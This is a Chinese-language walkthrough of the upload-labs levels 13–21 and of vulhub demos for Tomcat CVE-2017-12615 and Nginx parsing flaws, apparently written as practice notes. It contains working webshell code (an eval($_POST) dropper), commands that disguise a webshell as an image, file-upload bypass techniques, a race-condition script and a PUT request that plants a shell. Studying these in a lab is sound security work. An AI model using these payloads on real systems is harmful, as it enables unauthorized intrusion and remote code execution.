upload-labs第13-21關
1. pass13(post%00截斷)
通過源碼分析,保存路徑是以post方式提交的,故可以post%00截斷繞過。
提交抓包,修改參數
%00要使用url編碼
上傳成功:
2. pass14(文件包含漏洞)
圖片馬制作:
copy 2.jpg /b + shell.php /a webshell.jpg
通過源碼分析,改關是檢查文件頭信息進行判斷。
且此關是文件包含漏洞。是GET傳參,參數是file。
上傳一張有馬的圖片。查看圖片地址。
構造payload:
http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg
成功執行。
3. pass15(文件包含漏洞)
查看源碼:
發現php函數getimagesize(),此函數限制上傳的僅為圖片文件。
繞過方法與14關一至。
4. pass16、17(文件包含漏洞)
16關源碼中有內置函數:exif_imagetype()
17關源碼中有內置函數:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上傳文件類型。均需用文件包含漏洞繞過,方法與14、15關類似。
5. pass18(條件競爭)
- 條件競爭漏洞
條件競爭漏洞是一種服務器端的漏洞,是由於開發者設計應用程序並發處理時操作邏輯不合理而造成。當應用面臨高並發的請求時未能同步好所有請求,導致請求與請求之間產生等待時出現邏輯缺陷。該漏洞一般出現在與數據庫系統頻繁交互的位置,例如金額同步、支付等較敏感操作處。另外條件競爭漏洞也會出現在其他位置,例如文件的操作處理等。
首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪除。
源碼分析:
服務器先將上傳的文件進行暫存,在判斷是否符合條件,符合就重命名進行保存。
准備shell代碼,保存為shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>
在准備一個python腳本:
import requests
url = "http://127.0.0.1/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
上傳,抓包
發送到intruder模塊
清除positions中的所有選項
payloads中設置無期限的重復。
開始攻擊,共攻擊的同時,運行python文件。
成功:
蟻劍連接測試:
6. pass19(條件競爭)
第19關仍然是條件競爭問題。
直接抓包進行攻擊:
增加X-Forwarded-For:
設置payloads:
開始攻擊,同時不斷訪問http://127.0.0.1/upload-labs/upload/shell.php,
出先報錯即可。
7. pass20(文件夾問題)
查看源碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上傳出錯!';
}
}else{
$msg = '禁止保存為該類型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
}
}
這里使用post進行修改文件名操作
這里對文件名進行黑名單過濾,我們采用.php/.來繞過黑名單。
move_uploaded_file()函數會過濾掉文件末尾的/.再上傳到服務器中。
抓包修改:
上傳成功;
8. pass21(數組接受+目錄命名問題)
查看源碼:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上傳該類型文件!";
}else{
//檢查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上傳該后綴文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上傳成功!";
$is_upload = true;
} else {
$msg = "文件上傳失敗!";
}
}
}
}else{
$msg = "請選擇要上傳的文件!";
}
可看出這是白名單限制。
通過檢查MIME信息中的文件后綴在白名單中則上傳,否則報錯。
此部分將文件名分成3部分組成一個數組,例如將"xx.jpg"分為:"xx"、"."、"jpg"三部分
我們抓包將.php/.jpg分三部分修改即可繞過
中間件漏洞
Tomcat上傳漏洞
- CVE-2017-12615vulhub靶場演示
配置環境:
docker-compose build
docker-compose up -d
訪問8080端口:
基本原理:
Tomcat設置了寫權限(readonly=false),導致我們可以向服務器寫入文件。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
POC
直接發送以下數據包,shell就會寫入Web根目錄。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
訪問:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
搭建平台解析漏洞
常見搭建平台解析漏洞如下圖:
Nginx上傳解析漏洞vulhub演示
啟動靶場環境
docker-compose up -d
由數據包顯示,是Nginx搭建平台,可考慮使用Nginx解析漏洞。
xx.jpg/xx.php 可將jpg文件當做php執行。
上傳有馬的圖片
然后訪問:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
成功解析。